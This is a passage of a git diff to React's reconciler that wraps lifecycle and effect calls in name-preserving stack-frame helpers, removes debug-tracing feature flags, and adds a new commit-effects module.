-  const wasRendering = isRendering;
-  setIsRendering(true);
-  try {
-    const result = Component(props, secondArg);
-    return result;
-  } finally {
-    setIsRendering(wasRendering);
-  }
-}
+) => R = __DEV__
+  ? // We use this technique to trick minifiers to preserve the function name.
+    (callComponent.react_stack_bottom_frame.bind(callComponent): any)
+  : (null: any);
 
 interface ClassInstance<R> {
   render(): R;
+  componentDidMount(): void;
+  componentDidUpdate(
+    prevProps: Object,
+    prevState: Object,
+    snaphot: Object,
+  ): void;
+  componentDidCatch(error: mixed, errorInfo: {componentStack: string}): void;
+  componentWillUnmount(): void;
 }
 
-/** @noinline */
-export function callRenderInDEV<R>(instance: ClassInstance<R>): R {
-  const wasRendering = isRendering;
-  setIsRendering(true);
-  try {
-    const result = instance.render();
-    return result;
-  } finally {
-    setIsRendering(wasRendering);
-  }
-}
+const callRender = {
+  react_stack_bottom_frame: function <R>(instance: ClassInstance<R>): R {
+    const wasRendering = isRendering;
+    setIsRendering(true);
+    try {
+      const result = instance.render();
+      return result;
+    } finally {
+      setIsRendering(wasRendering);
+    }
+  },
+};
 
-/** @noinline */
-export function callLazyInitInDEV(lazy: LazyComponent<any, any>): any {
-  const payload = lazy._payload;
-  const init = lazy._init;
-  return init(payload);
-}
+export const callRenderInDEV: <R>(instance: ClassInstance<R>) => R => R =
+  __DEV__
+    ? // We use this technique to trick minifiers to preserve the function name.
+      (callRender.react_stack_bottom_frame.bind(callRender): any)
+    : (null: any);
+
+const callComponentDidMount = {
+  react_stack_bottom_frame: function (
+    finishedWork: Fiber,
+    instance: ClassInstance<any>,
+  ): void {
+    try {
+      instance.componentDidMount();
+    } catch (error) {
+      captureCommitPhaseError(finishedWork, finishedWork.return, error);
+    }
+  },
+};
+
+export const callComponentDidMountInDEV: (
+  finishedWork: Fiber,
+  instance: ClassInstance<any>,
+) => void = __DEV__
+  ? // We use this technique to trick minifiers to preserve the function name.
+    (callComponentDidMount.react_stack_bottom_frame.bind(
+      callComponentDidMount,
+    ): any)
+  : (null: any);
+
+const callComponentDidUpdate = {
+  react_stack_bottom_frame: function (
+    finishedWork: Fiber,
+    instance: ClassInstance<any>,
+    prevProps: Object,
+    prevState: Object,
+    snapshot: Object,
+  ): void {
+    try {
+      instance.componentDidUpdate(prevProps, prevState, snapshot);
+    } catch (error) {
+      captureCommitPhaseError(finishedWork, finishedWork.return, error);
+    }
+  },
+};
+
+export const callComponentDidUpdateInDEV: (
+  finishedWork: Fiber,
+  instance: ClassInstance<any>,
+  prevProps: Object,
+  prevState: Object,
+  snaphot: Object,
+) => void = __DEV__
+  ? // We use this technique to trick minifiers to preserve the function name.
+    (callComponentDidUpdate.react_stack_bottom_frame.bind(
+      callComponentDidUpdate,
+    ): any)
+  : (null: any);
+
+const callComponentDidCatch = {
+  react_stack_bottom_frame: function (
+    instance: ClassInstance<any>,
+    errorInfo: CapturedValue<mixed>,
+  ): void {
+    const error = errorInfo.value;
+    const stack = errorInfo.stack;
+    instance.componentDidCatch(error, {
+      componentStack: stack !== null ? stack : '',
+    });
+  },
+};
+
+export const callComponentDidCatchInDEV: (
+  instance: ClassInstance<any>,
+  errorInfo: CapturedValue<mixed>,
+) => void = __DEV__
+  ? // We use this technique to trick minifiers to preserve the function name.
+    (callComponentDidCatch.react_stack_bottom_frame.bind(
+      callComponentDidCatch,
+    ): any)
+  : (null: any);
+
+const callComponentWillUnmount = {
+  react_stack_bottom_frame: function (
+    current: Fiber,
+    nearestMountedAncestor: Fiber | null,
+    instance: ClassInstance<any>,
+  ): void {
+    try {
+      instance.componentWillUnmount();
+    } catch (error) {
+      captureCommitPhaseError(current, nearestMountedAncestor, error);
+    }
+  },
+};
+
+export const callComponentWillUnmountInDEV: (
+  current: Fiber,
+  nearestMountedAncestor: Fiber | null,
+  instance: ClassInstance<any>,
+) => void = __DEV__
+  ? // We use this technique to trick minifiers to preserve the function name.
+    (callComponentWillUnmount.react_stack_bottom_frame.bind(
+      callComponentWillUnmount,
+    ): any)
+  : (null: any);
+
+const callCreate = {
+  react_stack_bottom_frame: function (
+    effect: Effect,
+  ): (() => void) | {...} | void | null {
+    const create = effect.create;
+    const inst = effect.inst;
+    const destroy = create();
+    inst.destroy = destroy;
+    return destroy;
+  },
+};
+
+export const callCreateInDEV: (effect: Effect) => (() => void) | void = __DEV__
+  ? // We use this technique to trick minifiers to preserve the function name.
+    (callCreate.react_stack_bottom_frame.bind(callCreate): any)
+  : (null: any);
+
+const callDestroy = {
+  react_stack_bottom_frame: function (
+    current: Fiber,
+    nearestMountedAncestor: Fiber | null,
+    destroy: () => void,
+  ): void {
+    try {
+      destroy();
+    } catch (error) {
+      captureCommitPhaseError(current, nearestMountedAncestor, error);
+    }
+  },
+};
+
+export const callDestroyInDEV: (
+  current: Fiber,
+  nearestMountedAncestor: Fiber | null,
+  destroy: (() => void) | (({...}) => void),
+) => void = __DEV__
+  ? // We use this technique to trick minifiers to preserve the function name.
+    (callDestroy.react_stack_bottom_frame.bind(callDestroy): any)
+  : (null: any);
+
+const callLazyInit = {
+  react_stack_bottom_frame: function (lazy: LazyComponent<any, any>): any {
+    const payload = lazy._payload;
+    const init = lazy._init;
+    return init(payload);
+  },
+};
+
+export const callLazyInitInDEV: (lazy: LazyComponent<any, any>) => any = __DEV__
+  ? // We use this technique to trick minifiers to preserve the function name.
+    (callLazyInit.react_stack_bottom_frame.bind(callLazyInit): any)
+  : (null: any);
diff --git a/packages/react-reconciler/src/ReactFiberClassComponent.js b/packages/react-reconciler/src/ReactFiberClassComponent.js
index 5a7692949b52..1fae90f07b1a 100644
--- a/packages/react-reconciler/src/ReactFiberClassComponent.js
+++ b/packages/react-reconciler/src/ReactFiberClassComponent.js
@@ -18,16 +18,10 @@ import {
   MountLayoutDev,
 } from './ReactFiberFlags';
 import {
-  debugRenderPhaseSideEffectsForStrictMode,
   disableLegacyContext,
-  enableDebugTracing,
   enableSchedulingProfiler,
-  enableLazyContextPropagation,
-  enableRefAsProp,
-  disableDefaultPropsExceptForClasses,
 } from 'shared/ReactFeatureFlags';
 import ReactStrictModeWarnings from './ReactStrictModeWarnings';
-import {isMounted} from './ReactFiberTreeReflection';
 import {get as getInstance, set as setInstance} from 'shared/ReactInstanceMap';
 import shallowEqual from 'shared/shallowEqual';
 import getComponentNameFromFiber from 'react-reconciler/src/getComponentNameFromFiber';
@@ -36,12 +30,7 @@ import assign from 'shared/assign';
 import isArray from 'shared/isArray';
 import {REACT_CONTEXT_TYPE, REACT_CONSUMER_TYPE} from 'shared/ReactSymbols';
 
-import {
-  DebugTracingMode,
-  NoMode,
-  StrictLegacyMode,
-  StrictEffectsMode,
-} from './ReactTypeOfMode';
+import {NoMode, StrictLegacyMode, StrictEffectsMode} from './ReactTypeOfMode';
 
 import {
   enqueueUpdate,
@@ -63,15 +52,15 @@ import {
   getUnmaskedContext,
   hasContextChanged,
   emptyContextObject,
-} from './ReactFiberContext';
+} from './ReactFiberLegacyContext';
 import {readContext, checkIfContextChanged} from './ReactFiberNewContext';
 import {requestUpdateLane, scheduleUpdateOnFiber} from './ReactFiberWorkLoop';
-import {logForceUpdateScheduled, logStateUpdateScheduled} from './DebugTracing';
 import {
   markForceUpdateScheduled,
   markStateUpdateScheduled,
   setIsStrictModeForDevtools,
 } from './ReactFiberDevToolsHook';
+import {startUpdateTimerByLane} from './ReactProfilerTimer';
 
 const fakeInternalInstance = {};
 
@@ -82,6 +71,8 @@ let didWarnAboutLegacyLifecyclesAndDerivedState;
 let didWarnAboutUndefinedDerivedState;
 let didWarnAboutDirectlyAssigningPropsToState;
 let didWarnAboutContextTypeAndContextTypes;
+let didWarnAboutContextTypes;
+let didWarnAboutChildContextTypes;
 let didWarnAboutInvalidateContextType;
 let didWarnOnInvalidCallback;
 
@@ -93,6 +84,8 @@ if (__DEV__) {
   didWarnAboutDirectlyAssigningPropsToState = new Set<string>();
   didWarnAboutUndefinedDerivedState = new Set<string>();
   didWarnAboutContextTypeAndContextTypes = new Set<string>();
+  didWarnAboutContextTypes = new Set<mixed>();
+  didWarnAboutChildContextTypes = new Set<mixed>();
   didWarnAboutInvalidateContextType = new Set<string>();
   didWarnOnInvalidCallback = new Set<string>();
 
@@ -142,10 +135,7 @@ function applyDerivedStateFromProps(
   const prevState = workInProgress.memoizedState;
   let partialState = getDerivedStateFromProps(nextProps, prevState);
   if (__DEV__) {
-    if (
-      debugRenderPhaseSideEffectsForStrictMode &&
-      workInProgress.mode & StrictLegacyMode
-    ) {
+    if (workInProgress.mode & StrictLegacyMode) {
       setIsStrictModeForDevtools(true);
       try {
         // Invoke the function an extra time to help detect side-effects.
@@ -173,7 +163,6 @@ function applyDerivedStateFromProps(
 }
 
 const classComponentUpdater = {
-  isMounted,
   // $FlowFixMe[missing-local-annot]
   enqueueSetState(inst: any, payload: any, callback) {
     const fiber = getInstance(inst);
@@ -190,19 +179,11 @@ const classComponentUpdater = {
 
     const root = enqueueUpdate(fiber, update, lane);
     if (root !== null) {
+      startUpdateTimerByLane(lane, 'this.setState()', fiber);
       scheduleUpdateOnFiber(root, fiber, lane);
       entangleTransitions(root, fiber, lane);
     }
 
-    if (__DEV__) {
-      if (enableDebugTracing) {
-        if (fiber.mode & DebugTracingMode) {
-          const name = getComponentNameFromFiber(fiber) || 'Unknown';
-          logStateUpdateScheduled(name, lane, payload);
-        }
-      }
-    }
-
     if (enableSchedulingProfiler) {
       markStateUpdateScheduled(fiber, lane);
     }
@@ -224,19 +205,11 @@ const classComponentUpdater = {
 
     const root = enqueueUpdate(fiber, update, lane);
     if (root !== null) {
+      startUpdateTimerByLane(lane, 'this.replaceState()', fiber);
       scheduleUpdateOnFiber(root, fiber, lane);
       entangleTransitions(root, fiber, lane);
     }
 
-    if (__DEV__) {
-      if (enableDebugTracing) {
-        if (fiber.mode & DebugTracingMode) {
-          const name = getComponentNameFromFiber(fiber) || 'Unknown';
-          logStateUpdateScheduled(name, lane, payload);
-        }
-      }
-    }
-
     if (enableSchedulingProfiler) {
       markStateUpdateScheduled(fiber, lane);
     }
@@ -258,19 +231,11 @@ const classComponentUpdater = {
 
     const root = enqueueUpdate(fiber, update, lane);
     if (root !== null) {
+      startUpdateTimerByLane(lane, 'this.forceUpdate()', fiber);
       scheduleUpdateOnFiber(root, fiber, lane);
       entangleTransitions(root, fiber, lane);
     }
 
-    if (__DEV__) {
-      if (enableDebugTracing) {
-        if (fiber.mode & DebugTracingMode) {
-          const name = getComponentNameFromFiber(fiber) || 'Unknown';
-          logForceUpdateScheduled(name, lane);
-        }
-      }
-    }
-
     if (enableSchedulingProfiler) {
       markForceUpdateScheduled(fiber, lane);
     }
@@ -294,10 +259,7 @@ function checkShouldComponentUpdate(
       nextContext,
     );
     if (__DEV__) {
-      if (
-        debugRenderPhaseSideEffectsForStrictMode &&
-        workInProgress.mode & StrictLegacyMode
-      ) {
+      if (workInProgress.mode & StrictLegacyMode) {
         setIsStrictModeForDevtools(true);
         try {
           // Invoke the function an extra time to help detect side-effects.
@@ -376,13 +338,6 @@ function checkClassInstance(workInProgress: Fiber, ctor: any, newProps: any) {
         name,
       );
     }
-    if (instance.propTypes) {
-      console.error(
-        'propTypes was defined as an instance property on %s. Use a static ' +
-          'property to define propTypes instead.',
-        name,
-      );
-    }
     if (instance.contextType) {
       console.error(
         'contextType was defined as an instance property on %s. Use a static ' +
@@ -392,17 +347,20 @@ function checkClassInstance(workInProgress: Fiber, ctor: any, newProps: any) {
     }
 
     if (disableLegacyContext) {
-      if (ctor.childContextTypes) {
+      if (ctor.childContextTypes && !didWarnAboutChildContextTypes.has(ctor)) {
+        didWarnAboutChildContextTypes.add(ctor);
         console.error(
           '%s uses the legacy childContextTypes API which was removed in React 19. ' +
-            'Use React.createContext() instead.',
+            'Use React.createContext() instead. (https://react.dev/link/legacy-context)',
           name,
         );
       }
-      if (ctor.contextTypes) {
+      if (ctor.contextTypes && !didWarnAboutContextTypes.has(ctor)) {
+        didWarnAboutContextTypes.add(ctor);
         console.error(
           '%s uses the legacy contextTypes API which was removed in React 19. ' +
-            'Use React.createContext() with static contextType instead.',
+            'Use React.createContext() with static contextType instead. ' +
+            '(https://react.dev/link/legacy-context)',
           name,
         );
       }
@@ -427,6 +385,23 @@ function checkClassInstance(workInProgress: Fiber, ctor: any, newProps: any) {
           name,
         );
       }
+      if (ctor.childContextTypes && !didWarnAboutChildContextTypes.has(ctor)) {
+        didWarnAboutChildContextTypes.add(ctor);
+        console.error(
+          '%s uses the legacy childContextTypes API which will soon be removed. ' +
+            'Use React.createContext() instead. (https://react.dev/link/legacy-context)',
+          name,
+        );
+      }
+      if (ctor.contextTypes && !didWarnAboutContextTypes.has(ctor)) {
+        didWarnAboutContextTypes.add(ctor);
+        console.error(
+          '%s uses the legacy contextTypes API which will soon be removed. ' +
+            'Use React.createContext() with static contextType instead. ' +
+            '(https://react.dev/link/legacy-context)',
+          name,
+        );
+      }
     }
 
     if (typeof instance.componentShouldUpdate === 'function') {
@@ -613,13 +588,10 @@ function constructClassInstance(
   let instance = new ctor(props, context);
   // Instantiate twice to help detect side-effects.
   if (__DEV__) {
-    if (
-      debugRenderPhaseSideEffectsForStrictMode &&
-      workInProgress.mode & StrictLegacyMode
-    ) {
+    if (workInProgress.mode & StrictLegacyMode) {
       setIsStrictModeForDevtools(true);
       try {
-        instance = new ctor(props, context); // eslint-disable-line no-new
+        instance = new ctor(props, context);
       } finally {
         setIsStrictModeForDevtools(false);
       }
@@ -722,7 +694,7 @@ function constructClassInstance(
   }
 
   // Cache unmasked context so we can avoid recreating masked context unless necessary.
-  // ReactFiberContext usually updates this cache but can't for newly-created instances.
+  // ReactFiberLegacyContext usually updates this cache but can't for newly-created instances.
   if (isLegacyContextConsumer) {
     cacheContext(workInProgress, unmaskedContext, context);
   }
@@ -886,11 +858,7 @@ function resumeMountClassInstance(
   const instance = workInProgress.stateNode;
 
   const unresolvedOldProps = workInProgress.memoizedProps;
-  const oldProps = resolveClassComponentProps(
-    ctor,
-    unresolvedOldProps,
-    workInProgress.type === workInProgress.elementType,
-  );
+  const oldProps = resolveClassComponentProps(ctor, unresolvedOldProps);
   instance.props = oldProps;
 
   const oldContext = instance.context;
@@ -1045,11 +1013,7 @@ function updateClassInstance(
   cloneUpdateQueue(current, workInProgress);
 
   const unresolvedOldProps = workInProgress.memoizedProps;
-  const oldProps = resolveClassComponentProps(
-    ctor,
-    unresolvedOldProps,
-    workInProgress.type === workInProgress.elementType,
-  );
+  const oldProps = resolveClassComponentProps(ctor, unresolvedOldProps);
   instance.props = oldProps;
   const unresolvedNewProps = workInProgress.pendingProps;
 
@@ -1106,7 +1070,6 @@ function updateClassInstance(
     !hasContextChanged() &&
     !checkHasForceUpdateAfterProcessing() &&
     !(
-      enableLazyContextPropagation &&
       current !== null &&
       current.dependencies !== null &&
       checkIfContextChanged(current.dependencies)
@@ -1158,8 +1121,7 @@ function updateClassInstance(
     // both before and after `shouldComponentUpdate` has been called. Not ideal,
     // but I'm loath to refactor this function. This only happens for memoized
     // components so it's not that common.
-    (enableLazyContextPropagation &&
-      current !== null &&
+    (current !== null &&
       current.dependencies !== null &&
       checkIfContextChanged(current.dependencies));
 
@@ -1222,35 +1184,22 @@ function updateClassInstance(
 export function resolveClassComponentProps(
   Component: any,
   baseProps: Object,
-  // Only resolve default props if this is a lazy component. Otherwise, they
-  // would have already been resolved by the JSX runtime.
-  // TODO: We're going to remove default prop resolution from the JSX runtime
-  // and keep it only for class components. As part of that change, we should
-  // remove this extra check.
-  alreadyResolvedDefaultProps: boolean,
 ): Object {
   let newProps = baseProps;
 
-  if (enableRefAsProp) {
-    // Remove ref from the props object, if it exists.
-    if ('ref' in baseProps) {
-      newProps = ({}: any);
-      for (const propName in baseProps) {
-        if (propName !== 'ref') {
-          newProps[propName] = baseProps[propName];
-        }
+  // Remove ref from the props object, if it exists.
+  if ('ref' in baseProps) {
+    newProps = ({}: any);
+    for (const propName in baseProps) {
+      if (propName !== 'ref') {
+        newProps[propName] = baseProps[propName];
       }
     }
   }
 
   // Resolve default props.
   const defaultProps = Component.defaultProps;
-  if (
-    defaultProps &&
-    // If disableDefaultPropsExceptForClasses is true, we always resolve
-    // default props here in the reconciler, rather than in the JSX runtime.
-    (disableDefaultPropsExceptForClasses || !alreadyResolvedDefaultProps)
-  ) {
+  if (defaultProps) {
     // We may have already copied the props object above to remove ref. If so,
     // we can modify that. Otherwise, copy the props object with Object.assign.
     if (newProps === baseProps) {
diff --git a/packages/react-reconciler/src/ReactFiberClassUpdateQueue.js b/packages/react-reconciler/src/ReactFiberClassUpdateQueue.js
index 7945e4fb1c91..23bef1e6b098 100644
--- a/packages/react-reconciler/src/ReactFiberClassUpdateQueue.js
+++ b/packages/react-reconciler/src/ReactFiberClassUpdateQueue.js
@@ -110,8 +110,6 @@ import {
 } from './ReactFiberFlags';
 import getComponentNameFromFiber from './getComponentNameFromFiber';
 
-import {debugRenderPhaseSideEffectsForStrictMode} from 'shared/ReactFeatureFlags';
-
 import {StrictLegacyMode} from './ReactTypeOfMode';
 import {
   markSkippedUpdateLanes,
@@ -402,10 +400,7 @@ function getStateFromUpdate<State>(
         }
         const nextState = payload.call(instance, prevState, nextProps);
         if (__DEV__) {
-          if (
-            debugRenderPhaseSideEffectsForStrictMode &&
-            workInProgress.mode & StrictLegacyMode
-          ) {
+          if (workInProgress.mode & StrictLegacyMode) {
             setIsStrictModeForDevtools(true);
             try {
               payload.call(instance, prevState, nextProps);
@@ -435,10 +430,7 @@ function getStateFromUpdate<State>(
         }
         partialState = payload.call(instance, prevState, nextProps);
         if (__DEV__) {
-          if (
-            debugRenderPhaseSideEffectsForStrictMode &&
-            workInProgress.mode & StrictLegacyMode
-          ) {
+          if (workInProgress.mode & StrictLegacyMode) {
             setIsStrictModeForDevtools(true);
             try {
               payload.call(instance, prevState, nextProps);
diff --git a/packages/react-reconciler/src/ReactFiberCommitEffects.js b/packages/react-reconciler/src/ReactFiberCommitEffects.js
new file mode 100644
index 000000000000..f7e20fe92619
--- /dev/null
+++ b/packages/react-reconciler/src/ReactFiberCommitEffects.js
@@ -0,0 +1,1044 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {
+  ViewTransitionProps,
+  ProfilerProps,
+  ProfilerPhase,
+} from 'shared/ReactTypes';
+import type {Fiber} from './ReactInternalTypes';
+import type {UpdateQueue} from './ReactFiberClassUpdateQueue';
+import type {FunctionComponentUpdateQueue} from './ReactFiberHooks';
+import type {HookFlags} from './ReactHookEffectTags';
+import type {FragmentInstanceType} from './ReactFiberConfig';
+import type {ViewTransitionState} from './ReactFiberViewTransitionComponent';
+
+import {getViewTransitionName} from './ReactFiberViewTransitionComponent';
+
+import {
+  enableProfilerTimer,
+  enableProfilerCommitHooks,
+  enableProfilerNestedUpdatePhase,
+  enableSchedulingProfiler,
+  enableViewTransition,
+  enableFragmentRefs,
+} from 'shared/ReactFeatureFlags';
+import {
+  ClassComponent,
+  Fragment,
+  HostComponent,
+  HostHoistable,
+  HostSingleton,
+  ViewTransitionComponent,
+} from './ReactWorkTags';
+import {NoFlags} from './ReactFiberFlags';
+import getComponentNameFromFiber from 'react-reconciler/src/getComponentNameFromFiber';
+import {resolveClassComponentProps} from './ReactFiberClassComponent';
+import {
+  recordEffectDuration,
+  startEffectTimer,
+  isCurrentUpdateNested,
+} from './ReactProfilerTimer';
+import {NoMode, ProfileMode} from './ReactTypeOfMode';
+import {
+  commitCallbacks,
+  commitHiddenCallbacks,
+} from './ReactFiberClassUpdateQueue';
+import {
+  getPublicInstance,
+  createViewTransitionInstance,
+  createFragmentInstance,
+} from './ReactFiberConfig';
+import {
+  captureCommitPhaseError,
+  setIsRunningInsertionEffect,
+} from './ReactFiberWorkLoop';
+import {
+  NoFlags as NoHookEffect,
+  Layout as HookLayout,
+  Insertion as HookInsertion,
+  Passive as HookPassive,
+} from './ReactHookEffectTags';
+import {didWarnAboutReassigningProps} from './ReactFiberBeginWork';
+import {
+  markComponentPassiveEffectMountStarted,
+  markComponentPassiveEffectMountStopped,
+  markComponentPassiveEffectUnmountStarted,
+  markComponentPassiveEffectUnmountStopped,
+  markComponentLayoutEffectMountStarted,
+  markComponentLayoutEffectMountStopped,
+  markComponentLayoutEffectUnmountStarted,
+  markComponentLayoutEffectUnmountStopped,
+} from './ReactFiberDevToolsHook';
+import {
+  callComponentDidMountInDEV,
+  callComponentDidUpdateInDEV,
+  callComponentWillUnmountInDEV,
+  callCreateInDEV,
+  callDestroyInDEV,
+} from './ReactFiberCallUserSpace';
+
+import {runWithFiberInDEV} from './ReactCurrentFiber';
+
+function shouldProfile(current: Fiber): boolean {
+  return (
+    enableProfilerTimer &&
+    enableProfilerCommitHooks &&
+    (current.mode & ProfileMode) !== NoMode
+  );
+}
+
+export function commitHookLayoutEffects(
+  finishedWork: Fiber,
+  hookFlags: HookFlags,
+) {
+  // At this point layout effects have already been destroyed (during mutation phase).
+  // This is done to prevent sibling component effects from interfering with each other,
+  // e.g. a destroy function in one component should never override a ref set
+  // by a create function in another component during the same commit.
+  if (shouldProfile(finishedWork)) {
+    startEffectTimer();
+    commitHookEffectListMount(hookFlags, finishedWork);
+    recordEffectDuration(finishedWork);
+  } else {
+    commitHookEffectListMount(hookFlags, finishedWork);
+  }
+}
+
+export function commitHookLayoutUnmountEffects(
+  finishedWork: Fiber,
+  nearestMountedAncestor: null | Fiber,
+  hookFlags: HookFlags,
+) {
+  // Layout effects are destroyed during the mutation phase so that all
+  // destroy functions for all fibers are called before any create functions.
+  // This prevents sibling component effects from interfering with each other,
+  // e.g. a destroy function in one component should never override a ref set
+  // by a create function in another component during the same commit.
+  if (shouldProfile(finishedWork)) {
+    startEffectTimer();
+    commitHookEffectListUnmount(
+      hookFlags,
+      finishedWork,
+      nearestMountedAncestor,
+    );
+    recordEffectDuration(finishedWork);
+  } else {
+    commitHookEffectListUnmount(
+      hookFlags,
+      finishedWork,
+      nearestMountedAncestor,
+    );
+  }
+}
+
+export function commitHookEffectListMount(
+  flags: HookFlags,
+  finishedWork: Fiber,
+) {
+  try {
+    const updateQueue: FunctionComponentUpdateQueue | null =
+      (finishedWork.updateQueue: any);
+    const lastEffect = updateQueue !== null ? updateQueue.lastEffect : null;
+    if (lastEffect !== null) {
+      const firstEffect = lastEffect.next;
+      let effect = firstEffect;
+      do {
+        if ((effect.tag & flags) === flags) {
+          if (enableSchedulingProfiler) {
+            if ((flags & HookPassive) !== NoHookEffect) {
+              markComponentPassiveEffectMountStarted(finishedWork);
+            } else if ((flags & HookLayout) !== NoHookEffect) {
+              markComponentLayoutEffectMountStarted(finishedWork);
+            }
+          }
+
+          // Mount
+          let destroy;
+          if (__DEV__) {
+            if ((flags & HookInsertion) !== NoHookEffect) {
+              setIsRunningInsertionEffect(true);
+            }
+            destroy = runWithFiberInDEV(finishedWork, callCreateInDEV, effect);
+            if ((flags & HookInsertion) !== NoHookEffect) {
+              setIsRunningInsertionEffect(false);
+            }
+          } else {
+            const create = effect.create;
+            const inst = effect.inst;
+            destroy = create();
+            inst.destroy = destroy;
+          }
+
+          if (enableSchedulingProfiler) {
+            if ((flags & HookPassive) !== NoHookEffect) {
+              markComponentPassiveEffectMountStopped();
+            } else if ((flags & HookLayout) !== NoHookEffect) {
+              markComponentLayoutEffectMountStopped();
+            }
+          }
+
+          if (__DEV__) {
+            if (destroy !== undefined && typeof destroy !== 'function') {
+              let hookName;
+              if ((effect.tag & HookLayout) !== NoFlags) {
+                hookName = 'useLayoutEffect';
+              } else if ((effect.tag & HookInsertion) !== NoFlags) {
+                hookName = 'useInsertionEffect';
+              } else {
+                hookName = 'useEffect';
+              }
+              let addendum;
+              if (destroy === null) {
+                addendum =
+                  ' You returned null. If your effect does not require clean ' +
+                  'up, return undefined (or nothing).';
+                // $FlowFixMe (@poteto) this check is safe on arbitrary non-null/void objects
+              } else if (typeof destroy.then === 'function') {
+                addendum =
+                  '\n\nIt looks like you wrote ' +
+                  hookName +
+                  '(async () => ...) or returned a Promise. ' +
+                  'Instead, write the async function inside your effect ' +
+                  'and call it immediately:\n\n' +
+                  hookName +
+                  '(() => {\n' +
+                  '  async function fetchData() {\n' +
+                  '    // You can await here\n' +
+                  '    const response = await MyAPI.getData(someId);\n' +
+                  '    // ...\n' +
+                  '  }\n' +
+                  '  fetchData();\n' +
+                  `}, [someId]); // Or [] if effect doesn't need props or state\n\n` +
+                  'Learn more about data fetching with Hooks: https://react.dev/link/hooks-data-fetching';
+              } else {
+                // $FlowFixMe[unsafe-addition] (@poteto)
+                addendum = ' You returned: ' + destroy;
+              }
+              runWithFiberInDEV(
+                finishedWork,
+                (n, a) => {
+                  console.error(
+                    '%s must not return anything besides a function, ' +
+                      'which is used for clean-up.%s',
+                    n,
+                    a,
+                  );
+                },
+                hookName,
+                addendum,
+              );
+            }
+          }
+        }
+        effect = effect.next;
+      } while (effect !== firstEffect);
+    }
+  } catch (error) {
+    captureCommitPhaseError(finishedWork, finishedWork.return, error);
+  }
+}
+
+export function commitHookEffectListUnmount(
+  flags: HookFlags,
+  finishedWork: Fiber,
+  nearestMountedAncestor: Fiber | null,
+) {
+  try {
+    const updateQueue: FunctionComponentUpdateQueue | null =
+      (finishedWork.updateQueue: any);
+    const lastEffect = updateQueue !== null ? updateQueue.lastEffect : null;
+    if (lastEffect !== null) {
+      const firstEffect = lastEffect.next;
+      let effect = firstEffect;
+      do {
+        if ((effect.tag & flags) === flags) {
+          // Unmount
+          const inst = effect.inst;
+          const destroy = inst.destroy;
+          if (destroy !== undefined) {
+            inst.destroy = undefined;
+            if (enableSchedulingProfiler) {
+              if ((flags & HookPassive) !== NoHookEffect) {
+                markComponentPassiveEffectUnmountStarted(finishedWork);
+              } else if ((flags & HookLayout) !== NoHookEffect) {
+                markComponentLayoutEffectUnmountStarted(finishedWork);
+              }
+            }
+
+            if (__DEV__) {
+              if ((flags & HookInsertion) !== NoHookEffect) {
+                setIsRunningInsertionEffect(true);
+              }
+            }
+            safelyCallDestroy(finishedWork, nearestMountedAncestor, destroy);
+            if (__DEV__) {
+              if ((flags & HookInsertion) !== NoHookEffect) {
+                setIsRunningInsertionEffect(false);
+              }
+            }
+
+            if (enableSchedulingProfiler) {
+              if ((flags & HookPassive) !== NoHookEffect) {
+                markComponentPassiveEffectUnmountStopped();
+              } else if ((flags & HookLayout) !== NoHookEffect) {
+                markComponentLayoutEffectUnmountStopped();
+              }
+            }
+          }
+        }
+        effect = effect.next;
+      } while (effect !== firstEffect);
+    }
+  } catch (error) {
+    captureCommitPhaseError(finishedWork, finishedWork.return, error);
+  }
+}
+
+export function commitHookPassiveMountEffects(
+  finishedWork: Fiber,
+  hookFlags: HookFlags,
+) {
+  if (shouldProfile(finishedWork)) {
+    startEffectTimer();
+    commitHookEffectListMount(hookFlags, finishedWork);
+    recordEffectDuration(finishedWork);
+  } else {
+    commitHookEffectListMount(hookFlags, finishedWork);
+  }
+}
+
+export function commitHookPassiveUnmountEffects(
+  finishedWork: Fiber,
+  nearestMountedAncestor: null | Fiber,
+  hookFlags: HookFlags,
+) {
+  if (shouldProfile(finishedWork)) {
+    startEffectTimer();
+    commitHookEffectListUnmount(
+      hookFlags,
+      finishedWork,
+      nearestMountedAncestor,
+    );
+    recordEffectDuration(finishedWork);
+  } else {
+    commitHookEffectListUnmount(
+      hookFlags,
+      finishedWork,
+      nearestMountedAncestor,
+    );
+  }
+}
+
+export function commitClassLayoutLifecycles(
+  finishedWork: Fiber,
+  current: Fiber | null,
+) {
+  const instance = finishedWork.stateNode;
+  if (current === null) {
+    // We could update instance props and state here,
+    // but instead we rely on them being set during last render.
+    // TODO: revisit this when we implement resuming.
+    if (__DEV__) {
+      if (
+        !finishedWork.type.defaultProps &&
+        !('ref' in finishedWork.memoizedProps) &&
+        !didWarnAboutReassigningProps
+      ) {
+        if (instance.props !== finishedWork.memoizedProps) {
+          console.error(
+            'Expected %s props to match memoized props before ' +
+              'componentDidMount. ' +
+              'This might either be because of a bug in React, or because ' +
+              'a component reassigns its own `this.props`. ' +
+              'Please file an issue.',
+            getComponentNameFromFiber(finishedWork) || 'instance',
+          );
+        }
+        if (instance.state !== finishedWork.memoizedState) {
+          console.error(
+            'Expected %s state to match memoized state before ' +
+              'componentDidMount. ' +
+              'This might either be because of a bug in React, or because ' +
+              'a component reassigns its own `this.state`. ' +
+              'Please file an issue.',
+            getComponentNameFromFiber(finishedWork) || 'instance',
+          );
+        }
+      }
+    }
+    if (shouldProfile(finishedWork)) {
+      startEffectTimer();
+      if (__DEV__) {
+        runWithFiberInDEV(
+          finishedWork,
+          callComponentDidMountInDEV,
+          finishedWork,
+          instance,
+        );
+      } else {
+        try {
+          instance.componentDidMount();
+        } catch (error) {
+          captureCommitPhaseError(finishedWork, finishedWork.return, error);
+        }
+      }
+      recordEffectDuration(finishedWork);
+    } else {
+      if (__DEV__) {
+        runWithFiberInDEV(
+          finishedWork,
+          callComponentDidMountInDEV,
+          finishedWork,
+          instance,
+        );
+      } else {
+        try {
+          instance.componentDidMount();
+        } catch (error) {
+          captureCommitPhaseError(finishedWork, finishedWork.return, error);
+        }
+      }
+    }
+  } else {
+    const prevProps = resolveClassComponentProps(
+      finishedWork.type,
+      current.memoizedProps,
+    );
+    const prevState = current.memoizedState;
+    // We could update instance props and state here,
+    // but instead we rely on them being set during last render.
+    // TODO: revisit this when we implement resuming.
+    if (__DEV__) {
+      if (
+        !finishedWork.type.defaultProps &&
+        !('ref' in finishedWork.memoizedProps) &&
+        !didWarnAboutReassigningProps
+      ) {
+        if (instance.props !== finishedWork.memoizedProps) {
+          console.error(
